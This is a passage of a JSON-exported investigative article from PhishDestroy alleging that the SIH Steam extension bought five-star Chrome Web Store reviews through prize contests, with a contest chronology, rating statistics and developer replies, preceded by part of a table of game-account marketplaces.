                "Tracker_GG\ntracker.gg",
                "tracker.gg\nDIRECT",
                "SaaS Tracker",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-152",
                "FSB Market (an anonymized label; the original name is withheld here)\nFSB Market",
                "FSB Market\nDIRECT",
                "Mass Blackmarket",
                "SSA § 2.G, SSA § 4.C, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-153",
                "FunPay\nfunpay.com",
                "funpay.com\nDIRECT",
                "Account Exchange",
                "SSA § 2.G, SSA § 4.C, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-154",
                "PlayerAuctions\nplayerauctions.com",
                "playerauctions.com\nDIRECT",
                "Grey Market",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-155",
                "Eldorado.gg\neldorado.gg",
                "eldorado.gg\nDIRECT",
                "Account Portal",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-156",
                "G2A\ng2a.com",
                "g2a.com\nDIRECT",
                "Mass Key Market",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-157",
                "Kinguin\nkinguin.net",
                "kinguin.net\nDIRECT",
                "Mass Key Market",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-158",
                "G2G.com\ng2g.com",
                "g2g.com\nDIRECT",
                "Virtual Services",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-159",
                "Playerup\nplayerup.com",
                "playerup.com\nDIRECT",
                "Account Broker",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-160",
                "Z2U.com\nz2u.com",
                "www.z2u.com\nDIRECT",
                "Ready-Account Hub",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-161",
                "SmurfHub\nsmurfhub.net",
                "smurfhub.net\nDIRECT",
                "Smurf Shop",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-162",
                "SmurfAccounts\nsmurfaccounts.com",
                "smurfaccounts.com\nDIRECT",
                "Smurf Shop",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-163",
                "BuyCSGORank\nbuycsgorank.com",
                "buycsgorank.com\nDIRECT",
                "Rank Shop",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-164",
                "CSGOSmurfKings\ncsgosmurfkings.com",
                "csgosmurfkings.com\nDIRECT",
                "Smurf Shop",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-165",
                "SmurfStore_Co\nsmurfstore.co",
                "smurfstore.co\nDIRECT",
                "Smurf Shop",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-166",
                "SteamLvlUp\nsteamlvlup.com",
                "steamlvlup.com\nDIRECT",
                "Card Leveling",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-167",
                "SteamLevels\nsteamlevels.com",
                "steamlevels.com\nDIRECT",
                "Card Leveling",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-168",
                "LevelSteam\nlevelsteam.com",
                "levelsteam.com\nDIRECT",
                "Card Leveling",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-169",
                "SteamLevelU\nsteamlevelu.com",
                "steamlevelu.com\nDIRECT",
                "Card Leveling",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-170",
                "EloKing\neloking.com",
                "eloking.com\nDIRECT",
                "Rank Boosting",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-171",
                "Boosteria\nboosteria.org",
                "boosteria.org\nDIRECT",
                "Rank Boosting",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-172",
                "Overgear\novergear.com",
                "overgear.com\nDIRECT",
                "Boosting SaaS",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-173",
                "BlazingBoost\nblazingboost.com",
                "blazingboost.com\nDIRECT",
                "Boosting SaaS",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-174",
                "Dota2Boost\ndota2boost.com",
                "dota2boost.com\nDIRECT",
                "Rank Boosting",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ],
              [
                "EX-175",
                "BuyBoost\nbuyboost.com",
                "buyboost.com\nDIRECT",
                "Boosting SaaS",
                "SSA § 2.G, SSA § 1.C",
                "See dated evidence"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "reviews-and-incentives",
      "language": "en",
      "title": "A rating becomes the entry ticket — PhishDestroy",
      "author": "Agent Vera",
      "source_url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives",
      "source_file": "steam_dossier/reviews-and-incentives.html",
      "source_html_sha256": "f07b417561d22fb3b7c77840e3e946b3909e2d46af3c6bb46ec79349b2779fc8",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "reviews-and-incentives.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/reviews-and-incentives.pdf",
        "sha256": "b847d483cb37f6c0c47961c394a71b575ccf5d44fc18ad2ffb8a5a517e4a5a45",
        "bytes": 509337,
        "pages": 30
      },
      "integrity": {
        "signed_object": "reviews-and-incentives.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/reviews-and-incentives.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/reviews-and-incentives.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nTHE STEAM DOSSIER / SIH REVIEW INCENTIVES\nA rating becomes the entry ticket.\n\nSIH manipulates reviews through prize incentives, then uses that reputation to recruit users into a product that embeds casino advertising and its own commerce inside Steam.\n\nINVESTIGATION BY AGENT VERA\n\nFollow the incentive from a Telegram contest to the Chrome Web Store, then put the resulting reputation beside users’ complaints and the developer’s replies. This is the next part of PhishDestroy’s investigation into the commercial system operating inside Steam.\n\nInspect the entry requirement ↓Read the SIH code investigation ↗\nSUPPLIED REVIEW CORPUS4,089\n\nWritten reviews through 10 October 2026. The Store’s wider rating total is a separate measure.\n\nFIVE-STAR REVIEWS\n3,077 75.3% of the supplied written-review corpus\nCONTEST-POST RECORDS\n84 Chronology reproduced below\nDEVELOPER REPLIES\n286 222 distinct texts reported\nRECORD / 11 OCT 2026 UTC\n\nFigures and form excerpts on this page come from three supplied PhishDestroy research reports. All three are available in full. The 84-row chronology is reproduced from its table; the raw review export is referenced by the reports. Open the source record ↓\n\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\n01 / THE CONDITION OF ENTRY\nThe reward offer reaches into the Store.\n\nThe PURE DROP form, transcribed in the supplied report, asks the entrant to rate SIH, write about the extension and submit the link. A Telegram profile links the entrant to that proof of action. [RV01]\n\n“leave any comment about your experience with SIH extension on the Google Web Store page, rate SIH and attach the link to your comment”PURE DROP / SUPPLIED FORM TRANSCRIPTION / OCTOBER 2026\n01Offer a prize\n\nA Telegram post brings the audience to the contest.\n\n02Request a rating\n\nThe form asks for a Store rating and written comment.\n\n03Collect the link\n\nThe entrant supplies the review URL and Telegram profile.\n\n04Credit the winner\n\nThe reports describe prizes paid to an SIH balance.\n\nA rating, a written review and its URL are made conditions of prize entry. The entrant supplies public praise or feedback as the price of admission; the operator receives a lasting reputation signal. This is incentivised review manipulation. The form makes the exchange explicit, and the corpus shows the resulting five-star-heavy review stream.\n\nChrome Web Store policy prohibits manipulating ratings and reviews through incentives. The entry condition violates that policy directly: a rating, a written comment and its link are the stated price of prize entry — exactly the incentivized engagement the policy prohibits. [RV04]\n\nThe policy mapping, row by row.\nGoogle policy mapping from the supplied reports · every listed policy answered YES\nPolicy\tViolated\tWhat the record shows\nMisrepresentation\tYES\tNine demonstrably false or misleading developer claims, including denial of authorisation-secret collection the code performs.\nDeceptive ads placement\tYES\tHidden ad slots inside Steam pages, including a hardcoded HTTP banner shown to RU-locale users, while the operator claims one small reviewed banner.\nSpam & placement\tYES\t60% of five-star reviews under 40 characters; single-word duplicates; the “Featured” badge obtained via the above.\nUser Data Privacy\tYES\tmaFile cloud sync, user info into Sentry and full economic telemetry, none disclosed in the store description.\nSingle Purpose\tYES\tPrice helper, authenticator, trade bot, C2 agent, gambling and ads in one package.\n\nThe corpus preserves the users’ own words: “THE DEVS ARE RUSSIANS AND THEY ARE MANIPULATING REVIEWS WITH BOT ACCOUNTS!” (4 November 2024); “scammed reviews and adverts for their casino” (17 May 2025); “Don't post your copy pasta about Google” (28 June 2024). [RV01] [RV03]\n\nRows follow the supplied research: the review-manipulation report’s policy table (Misrepresentation, Deceptive ads placement, Spam & placement, User Data Privacy) and the retained code audit’s policy verdict for the same extension (Single Purpose). Policy text: Chrome Web Store program policies. [RV04]\n\n31 MARCH 2026\nPRIME DROP\n\n51 reviews reported in the eight-day window; 50 five-star. The day of announcement has 12 reviews.\n\nContest post 2625 ↗Entry form ↗\n8 OCTOBER 2026\nPURE DROP\n\nOne review recorded by 10 October. Results were scheduled for 15 October; this snapshot precedes completion.\n\nContest post 3418 ↗Entry form ↗\nRELATED MOBILE CAMPAIGN\nSKIN RAID\n\nThe supplied transcription targets SIH.Mobile. Announced 25 September 2025; its eight-day window records 49 reviews, 45 of them five-star, clustered on v2.7.x — the same week as the 950-participant mega-contest (post 2042).\n\nContest post 3378 ↗Mobile entry form ↗\n02 / THE CONTEST CHRONOLOGY\nPut the review stream beside the contest calendar.\n\nThe supplied table records six reviews for the window ending 28 February 2025, 46 for 7 March and 95 for 14 March. This is the flip, not an open lead: the same weekly contests that produced single-digit reviews through February 2025 produced 46 and then 95 written reviews in consecutive weeks, and from 7 March 2025 the review stream tracked the contest calendar for the next 15 months. Explore every recorded post below. [RV02]\n\nPut the flip in numbers: the 16 contest-post windows before 7 March 2025 contain 60 written-review observations, averaging 3.75 per window. The 68 windows from 7 March 2025 onward contain 2,887, averaging 42.46 per window — an 11.32-fold increase. The sustained March 2025–May 2026 period contains 59 windows averaging 46.97 reviews; the nine June–October 2026 windows average 12.89. These are sums and means of the displayed windows, which can overlap. The review stream follows the contest calendar. [RV02]\n\nWritten reviews per supplied contest windowAll ratings Five-star\n17 OCT 2024Peak: 122 reviews · 3 NOV 20252 OCT 2026\n\nOne bar and one row represent one contest-post window. Windows can overlap; two posts share 18 February 2026. Counts are not added into a total of unique reviews. The exact rows and original document are downloadable. Window totals and calculation record ↗\n\n84 contest records shown.\n\nDownload the 84 rows ↓\nContest posts and review counts transcribed from PhishDestroy’s supplied timeline\nContest ended / post\tParticipants\tWritten reviews\t5★\t1–2★\n2024-10-17 ↗ 329\t965\t2\t0\t2\n2024-10-26 ↗ 372\t739\t2\t1\t1\n2024-11-08 ↗ 443\t727\t4\t2\t2\n2024-11-25 ↗ 506\t466\t3\t3\t0\n2024-12-12 ↗ 588\t539\t2\t1\t0\n2024-12-19 ↗ 608\t1,268\t2\t0\t2\n2024-12-26 ↗ 625\t937\t1\t0\t1\n2025-01-03 ↗ 645\t898\t1\t0\t1\n2025-01-10 ↗ 658\t1,013\t3\t1\t1\n2025-01-17 ↗ 678\t1,222\t2\t1\t1\n2025-01-24 ↗ 693\t1,199\t2\t2\t0\n2025-01-31 ↗ 717\t1,366\t5\t4\t0\n2025-02-07 ↗ 734\t1,197\t5\t4\t0\n2025-02-14 ↗ 753\t1,306\t9\t6\t3\n2025-02-21 ↗ 769\t1,198\t11\t8\t2\n2025-02-28 ↗ 781\t1,108\t6\t5\t1\n2025-03-07 ↗ 796\t719\t46\t27\t16\n2025-03-14 ↗ 812\t605\t95\t74\t16\n2025-03-21 ↗ 837\t542\t79\t72\t6\n2025-03-28 ↗ 881\t508\t70\t66\t4\n2025-04-04 ↗ 922\t516\t53\t49\t4\n2025-04-11 ↗ 962\t531\t88\t79\t7\n2025-04-18 ↗ 1001\t422\t68\t61\t3\n2025-04-25 ↗ 1062\t409\t38\t32\t4\n2025-05-02 ↗ 1099\t406\t48\t45\t3\n2025-05-09 ↗ 1132\t458\t48\t43\t3\n2025-05-16 ↗ 1169\t330\t65\t54\t10\n2025-05-23 ↗ 1203\t251\t49\t42\t7\n2025-05-30 ↗ 1265\t240\t42\t38\t1\n2025-06-07 ↗ 1339\t223\t21\t17\t2\n2025-06-14 ↗ 1381\t211\t24\t22\t1\n2025-06-21 ↗ 1428\t262\t25\t23\t1\n2025-06-29 ↗ 1480\t258\t64\t62\t1\n2025-07-07 ↗ 1527\t253\t45\t44\t0\n2025-07-14 ↗ 1561\t330\t67\t63\t2\n2025-07-23 ↗ 1599\t244\t65\t60\t3\n2025-07-31 ↗ 1633\t241\t27\t26\t1\n2025-08-08 ↗ 1688\t226\t31\t31\t0\n2025-08-15 ↗ 1740\t213\t26\t25\t0\n2025-08-22 ↗ 1805\t200\t20\t19\t0\n2025-08-29 ↗ 1858\t221\t31\t31\t0\n2025-09-05 ↗ 1901\t237\t43\t41\t0\n2025-09-12 ↗ 1926\t200\t41\t38\t2\n2025-09-18 ↗ 1984\t265\t39\t36\t2\n2025-09-26 ↗ 2042\t950\t56\t50\t4\n2025-10-05 ↗ 2090\t1,000\t43\t40\t2\n2025-10-10 ↗ 2124\t287\t52\t49\t3\n2025-10-17 ↗ 2158\t317\t55\t53\t1\n2025-10-26 ↗ 2190\t470\t101\t93\t3\n2025-11-03 ↗ 2217\t1,293\t122\t115\t2\n2025-11-11 ↗ 2245\t301\t78\t76\t2\n2025-11-20 ↗ 2277\t248\t51\t50\t1\n2025-11-27 ↗ 2288\t449\t27\t26\t1\n2025-12-05 ↗ 2301\t186\t38\t37\t0\n2025-12-12 ↗ 2315\t445\t23\t23\t0\n2025-12-19 ↗ 2338\t338\t53\t50\t1\n2025-12-26 ↗ 2361\t286\t44\t42\t2\n2026-01-05 ↗ 2380\t193\t37\t34\t2\n2026-01-12 ↗ 2390\t238\t61\t54\t3\n2026-01-21 ↗ 2412\t256\t26\t23\t2\n2026-01-29 ↗ 2448\t483\t46\t44\t1\n2026-02-09 ↗ 2482\t336\t37\t35\t1\n2026-02-18 ↗ 2506\t1,299\t41\t39\t1\n2026-02-18 ↗ 2508\t308\t41\t39\t1\n2026-02-26 ↗ 2531\t253\t51\t50\t0\n2026-03-06 ↗ 2562\t257\t26\t25\t0\n2026-03-16 ↗ 2586\t265\t20\t18\t1\n2026-03-24 ↗ 2610\t175\t45\t42\t0\n2026-04-07 ↗ 2640\t257\t52\t51\t0\n2026-04-09 ↗ 2646\t269\t39\t38\t0\n2026-04-17 ↗ 2672\t288\t49\t47\t1\n2026-05-08 ↗ 2779\t181\t21\t20\t0\n2026-05-11 ↗ 2789\t251\t16\t15\t0\n2026-05-19 ↗ 2839\t166\t22\t21\t1\n2026-05-28 ↗ 2886\t205\t40\t38\t2\n2026-06-04 ↗ 2924\t202\t23\t22\t1\n2026-06-16 ↗ 2978\t201\t9\t8\t1\n2026-07-17 ↗ 3113\t239\t12\t10\t1\n2026-07-27 ↗ 3152\t230\t25\t24\t1\n2026-08-06 ↗ 3196\t233\t18\t17\t0\n2026-08-24 ↗ 3255\t125\t3\t2\t1\n2026-09-01 ↗ 3291\t168\t9\t8\t1\n2026-09-11 ↗ 3330\t116\t10\t10\t0\n2026-10-02 ↗ 3400\t125\t7\t7\t0\n\nThe forms document the exchange; the chronology shows the machinery operating repeatedly. Weekly skin giveaways and the daily $5 SIH-balance activity campaign keep rewards circulating through the same community asked to rate the product. PhishDestroy’s finding is a sustained reputation-building operation, with contest rules, review links and internal-balance prizes forming its acquisition funnel.\n\nThe chronology holds two further coincidences. The flip week of 7 March 2025 is also the week extension v2.3.5/2.3.6 shipped (Telegram post 793) — the version carried by the March 2025 five-star flood — and the week the ad-injection rollout began, bringing the 1★ backlash that followed (28 negatives in March, the most since 2017). From mid-2025 the funnel shifted: participants fell 516→200 while reviews per contest stayed flat or rose (45–65) — fewer entrants, each now performing the review task. [RV02]\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nPut the flip in numbers: before it, 15 contests produced 58 total reviews (2.6 reviews/week); after it, ~3,000 reviews across 69 contest weeks (34.5 reviews/week) — the review stream became a function of the contest calendar for 15 months. [RV02]\n\nOpen this passage in the complete original edition →\n03 / PUBLIC TRUST AND USER COMPLAINTS\nThe stars and the complaints belong in the same record.\n\nThe supplied corpus contains 3,077 five-star reviews and 765 one- or two-star reviews. The negative-review report groups recurring complaints and preserves the developer’s responses. [RV01] [RV03]\n\nAll 4,089 written reviewsRating distribution reported in the supplied corpus\n5 ★\n3,077\n4 ★\n168\n3 ★\n79\n2 ★\n79\n1 ★\n686\n\nFive-star share: 75.3%. Low-rating share: 18.7%.\n\nComplaint themesKeyword groups in the supplied negative-review analysis\nAdvertising\n313\nPrivacy / permissions\n142\nReview manipulation\n46\nBugs\n45\nMoney lost\n29\nAPI hijack\n1\n\nThemes can overlap; these are category counts.\n\nREPEATED SHORT TEXT\n1,859 short five-star reviews.\n\nThe supplied analysis counts 1,859 five-star texts under 40 characters. Repeated texts include “good” (96), “nice” (59), “very helpful” (51), “super” (51) and “very good” (42). Read those patterns beside the entry conditions and dates.\n\nTHE COMPLAINT WAVES\nPrivacy, permissions and advertising.\n\nThe negative-review report identifies waves in September 2017, June 2024 and March–May 2025. Each wave mirrors a monetization push: the September 2017 monitoring script, the June 2024 all-URL permission grab, and the March–May 2025 injection of gambling advertising into Steam pages. The record answers all three: all-URL host access, casino ads inside Steam, and replies that deny, deflect and warn critics.\n\nTHE MISSING CORPUS FINDINGS\nThe same installation version. The same words. The same incentive.\n31 MARCH 2026 / PRIME DROP\nTwelve reviews. Twelve five-star ratings.\n\nThe report records all twelve announcement-day reviews on extension version 2.9.19. Across the eight-day window, 50 of 51 reviews were five-star. The contest’s installation instruction and the same-version cluster belong in the same record.\n\nTHE DUPLICATE EVEN KEEPS THE TYPO\n“Insane ammount of essential trading infos. I love it”\n\nThe report records this identical text from two accounts, dated 7 and 28 September 2025. Together with 1,859 very short five-star texts and the repeated one-word reviews, it supplies the investigation’s template fingerprint.\n\n2017121\n\nreviews on 19 September during the monitoring controversy.\n\nJUNE 202450\n\none-star reviews during the expanded-permissions backlash.\n\nMARCH 2025181 / 28\n\nfive-star / one-star reviews as users complained about injected advertising.\n\nThe supplied analysis records the five-star flow rising from an estimated pre-2025 baseline of about 15 per month to 84–229 per month from March 2025. Its estimate of excess five-star reviews is 1,700–2,000. This is the author’s corpus analysis of the inflation in public trust. [RV01] [RV03]\n\n04 / THE OPERATOR’S OWN ANSWERS\nRead the reply. Then inspect the mechanism.\n\nThe report records 286 developer replies, including repeated templates. Below, dated statements are placed beside the relevant public capture or pinned code record. The full wording and additional replies remain in the supplied document. [RV03]\n\nApr–May 202531 replies\n“we are given advertisements to display, and we simply show them”\n\nThe replies also offer a subscription to remove the ads. Who selects the advertiser, sets the placement and receives the revenue?\n\nAdvertising exhibits ↗\nJune 202417 replies\nBroad permissions attributed to the Manifest V3 migration.\n\nThe permission request and each operation using it belong in the same disclosure. Compare the explanation with the registered handlers and gates in the pinned 2.12.1 package.\n\nPermissions and controller gates ↗\nFebruary 20264 replies\nOne partner banner; a paid subscription removes advertising.\n\nThe supplied Steam captures show commercial placements, external offers and paid ad removal inside the same product.\n\nCaptured placements ↗\nJanuary 20263 replies\nReviewers are told they bear responsibility for comments described as unlawful.\n\nPublish the exact disputed claim and the evidence answering it. A warning to a critic does not explain the behaviour they reported.\n\nReply corpus ↗\nOctober 20253 replies\nThe product has several affiliate-banner slots.\n\nThe commercial layer is part of the product. Its operators should disclose the advertiser, targeting, destination and payment relationship.\n\nCountry and language in ad requests ↗\nMarch 2025 / August 2026Dated individual replies\nNo collection of authorisation/API data; account loss attributed to phishing.\n\nThe pinned 2.12.1 package has an inspectable token-return handler and authenticated Steam operations. A dated reply must be read alongside the build and pathway it addresses.\n\nToken-return code record ↗\nDecember 2023 / October 2025Dated individual replies\nNo gambling-project plans or connection, according to the replies.\n\nFollow the named operators, the displayed promotion and the client integration. The CSGOFast case supplies those separate commercial and technical records.\n\n“Not gambling” and the integration ↗\nMarch 2025Dated individual reply\nA four-star reviewer is asked for five stars.\n\nPlace the rating request beside the giveaway forms that make a review part of entry. The trust signal is being actively managed.\n\nReview-for-entry forms ↗\n\nThe pattern is denial, minimisation and deflection: Google’s review process is invoked as reassurance, multiple placements become “one banner”, and an account-access product is described as collecting no authorisation data. The dated replies, the publisher’s own admissions and the retained code make those statements confrontable. The technical appendix identifies version 2.12.1 by file, hash and byte location; the supplied report preserves the earlier build analysis.\n\nNINE CONTRADICTIONS / FROM THE SUPPLIED REPORTS\nThe denial is public. So is the evidence.\n01 / GOOGLE AS A SHIELD30 MAR / 28 MAY 2026\n“every version of our extension goes through Google’s review process”\n\nThe ad content is delivered by SIH’s servers. The supplied report identifies the live ad request and targeting object; the retained code carries country and language inputs. Store review is used to reassure the user about an advertising decision made by the operator after installation.\n\nAd-selection inputs ↗\n02 / ONE BANNER / SEVERAL SLOTSSEP 2025 → JUN 2026\n“only a single partner banner”\n\nThe same reply corpus contains the admission “several slots for affiliate banners”. The supplied code report names five placement tokens, while the screenshots show top and side promotions, market controls and an offer to pay for ad removal. The minimisation is contradicted by the product’s own interface.\n\nAll five screenshots ↗\n03 / THE GAMBLING DENIAL30 OCT 2025\n“we have absolutely no connection to anything of that kind”\n\nThe retained material names the CSGOFast referral, Gainskins banner feed and SIH’s case-opening service. Casino promotion appears directly inside Steam’s pages. Calling it a partner banner does not sever the commercial relationship.\n\nCSGOFast and the integration ↗\n04 / AUTHORISATION DATA24 MAR 2025 / 31 AUG 2026\n“does not collect authorization access, API keys, or any similar information”\n\nThe product contains authenticator records, cloud-backup machinery, authenticated Steam operations and a handler that returns a WebAPI token. The sweeping denial cannot describe the account-access architecture retained in this investigation.\n\nToken-return handler ↗\n05 / USER CONFIRMATION24 MAR 2025\n“does not have the functionality to perform any selling actions without user confirmation”\n\nThe supplied report documents automatic-confirmation settings and an autonomous buy loop. The pinned package also registers sell and remove-listing tasks plus send, accept, decline and cancel trade events. Confirmation itself has been turned into an automation feature.\n\nCommand inventory ↗\n06 / THE PERMISSION EXPANSION2020 → JUN 2024\n“only those listed in the permissions”\n\nThe 2020 response named six domains. The later manifest requests all-URL host access alongside cookies, webRequest and management. The change is a substantial expansion of the product’s reach across the browser.\n\nManifest and package record ↗\n07 / MV3 AS AN EXPLANATIONJUN 2024 / 17 REPLIES\nGoogle’s Manifest V3 migration is invoked to explain the permissions.\n\nThe supplied report identifies the deflection: migration to MV3 does not require SIH’s particular combination of all-URL access, cookies and management permissions. Those are product choices serving its implemented functions.\n\nReport §4 / claim 7 ↗\n08 / BLAME THE CRITICS18 MAR 2025\n“someone has launched an entire anti-advertising campaign against SIH”\n\nMarch 2025 contains 28 one-star complaints alongside 181 five-star reviews in the supplied corpus. Users describe gambling ads inserted into Steam. The documented incentive campaign belongs to SIH; complaints about the inserted advertising are recast as a campaign against it.\n\nReview and complaint counts ↗\n09 / DENIAL, THEN ADMISSION2 OCT 2017 → 6 JAN 2018\n“This information is fake” → “This analytics script was removed long ago”\n\nThe first reply denied the reported script; the later reply acknowledged its removal. The supplied reply archive preserves both statements. That reversal belongs beside the subsequent assurances about what the extension can and cannot do.\n\nDated reply archive ↗\n\nStatements and dates: supplied review reports [RV01, RV03]. Code links identify the retained version and implementation being compared.\n\n05 / THE PRICE OF THE INCENTIVE\nA small prize pool. A persistent reputation asset.\n\nThe PRIME DROP report lists a $26.74 prize pool. Compare that advertised pool with the review activity recorded around its announcement. [RV02]\n\nADVERTISED POOL$26.74\n\nThree reported prizes: $9.07 + $11.30 + $6.37.\n\nPOOL ÷ 12 DAY-OF REVIEWS$2.23\n\nPrize-pool amount per observed review on the announcement date.\n\nPOOL ÷ 51 WINDOW REVIEWS$0.52\n\nPrize-pool amount per observed review over the eight-day window.\n\nThe calculation divides the advertised prize pool by the review counts in the named windows. It shows how cheaply a small giveaway can sit behind a much larger public reputation signal.\n\nThe economic design is the documented finding: the reward campaign bought a lasting public trust signal — 2,887 review observations across 68 post-flip contest windows; the supplied research estimates ≈$0.50–$0.80 per motivated five-star review — visible long after each prize was distributed. The reports describe prizes credited back into SIH’s own balance system, keeping the reward inside its commercial environment. SIH should disclose the entry proofs, winners, credited amounts and review instructions for every campaign.\n\nThe rest of the incentive economy.\nFigures and estimates from the supplied research · valuation date 11 October 2026\nCampaign / estimate\tSupplied figure\tWhat it represents\nSKIN RAID · SIH.Mobile\t$37.42\tPrize pool. The report associates its window with 49 reviews, 45 five-star, and calculates $0.76–0.83 per observed review/five-star review.\nPURE DROP · extension\t$38.94 / 74\tPrize pool and participants in the snapshot: approximately $0.53 of pool value per participant. One review recorded before the scheduled 15 October result.\nAuthor’s working range\t$0.50–$2.50\tEstimated face-value incentive cost per motivated five-star review, based on the reported campaign windows.\nEstimated reputation budget\t$1,700–$4,400\tThe report’s estimate using 1,700–2,000 excess five-star reviews and approximately $1–$2.20 per review.\n\nThe prize comes back into SIH’s own balance. The reward creates store credit in the operator’s ecosystem while the review becomes an outward-facing acquisition asset. The report also records a daily $5 balance campaign and weekly skin giveaways. The daily $5 campaign began in April 2025, and the reported giveaways include campaigns with 600–1,200 participants. Across roughly $15–40 weekly pools, the supplied research estimates ≈$0.50–$0.80 per motivated five-star review during the sustained program. This is an ongoing commercial incentive system. [RV01]\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nThe economic design is the documented finding: the reward campaign bought a lasting public trust signal — roughly 3,000 contest-synchronized reviews across 69 contest weeks at ≈$0.50–$0.80 per motivated five-star review — visible long after each prize was distributed. The reports describe prizes credited back into SIH’s own balance system, keeping the reward inside its commercial environment. SIH should disclose the entry proofs, winners, credited amounts and review instructions for every campaign.\n\nThe prize comes back into SIH’s own balance. The reward creates store credit in the operator’s ecosystem while the review becomes an outward-facing acquisition asset. The report also records a daily $5 balance campaign and weekly skin giveaways. The daily $5 campaign began in April 2025, and the weekly giveaways drew 600–1,200 participants each; across ~$15–40 weekly pools, the 15-month sustained program cost ≈$0.50–$0.80 per motivated five-star review. This is an ongoing commercial incentive system. [RV01]\n\nOpen this passage in the complete original edition →\n06 / WHY THIS BELONGS IN THE VALVE INVESTIGATION\nManipulate the rating. Monetise the Steam interface.\n\nA review is part of the route by which a user decides to install software that operates inside a valuable account. That makes reputation, access and commercial control parts of the same investigation.\n\nThe CSGOFast/SIH case documents advertising inside Steam pages, outside storefronts, paid ad removal, authenticator features and registered remote Steam operations. This chapter adds the acquisition layer: the way the extension seeks reviews and answers complaints while asking users to trust that access.\n\nValve should explain how its rules apply to the business carried through these accounts and interfaces. SIH should disclose the permissions, server instructions, advertising relationships and contest records. Google should account for enforcement of its published review policy. Each controls a different part of the same route.\n\nFOLLOW THE NEXT STEPFrom installation to authenticated Steam operations.Inspect the remote-command paths, token-return handler and retained package record ↗\n07 / THE SOURCE RECORD\nRead the documents. Keep the original wording.\n\nThe supplied reports are preserved verbatim. This page reproduces their attributed findings and the 84 table rows; it does not replace the underlying research files.\n\nRV01 / SUPPLIED RESEARCH\nReview Manipulation Evidence\n\nCorpus totals, rating distribution, form transcriptions, incentive analysis and campaign records. Compiled 11 October 2026, with review data through 10 October.\n\nDownload the original report ↓\nRV02 / SUPPLIED CHRONOLOGY\nContest Timeline\n\nAll 84 contest-post rows, direct post links and campaign windows. The webpage’s explorer uses the table rows, preserving the same-day pair as two post records.\n\nDownload the original timeline ↓\nRV03 / SUPPLIED REPLY ANALYSIS\nNegatives and Replies\n\nComplaint groups, review waves, repeated developer answers and individual dated responses.\n\nDownload the original analysis ↓\nRV04 / PRIMARY POLICY\nChrome Web Store program policies\n\nThe policy addresses incentivized ratings and reviews, advertising and the disclosure of extension behaviour. Reviewed 11 October 2026.\n\nRead the official policies ↗\nCollection and preservation record\n\nThe three Markdown reports were supplied to this investigation. Their raw review datasets and Telegram export are referenced in the reports but were not part of this handoff. Telegram posts and Google Forms could not be reopened during this publication check; the page identifies their excerpts as supplied transcriptions.\n\nThe 84-row table and rating histogram preserve the supplied data. The article’s window totals and means are recalculated from those rows; the original reports retain their supplied summary figures unchanged. The mobile campaign stays separate from the extension campaign. New source material can extend this record without changing the preserved 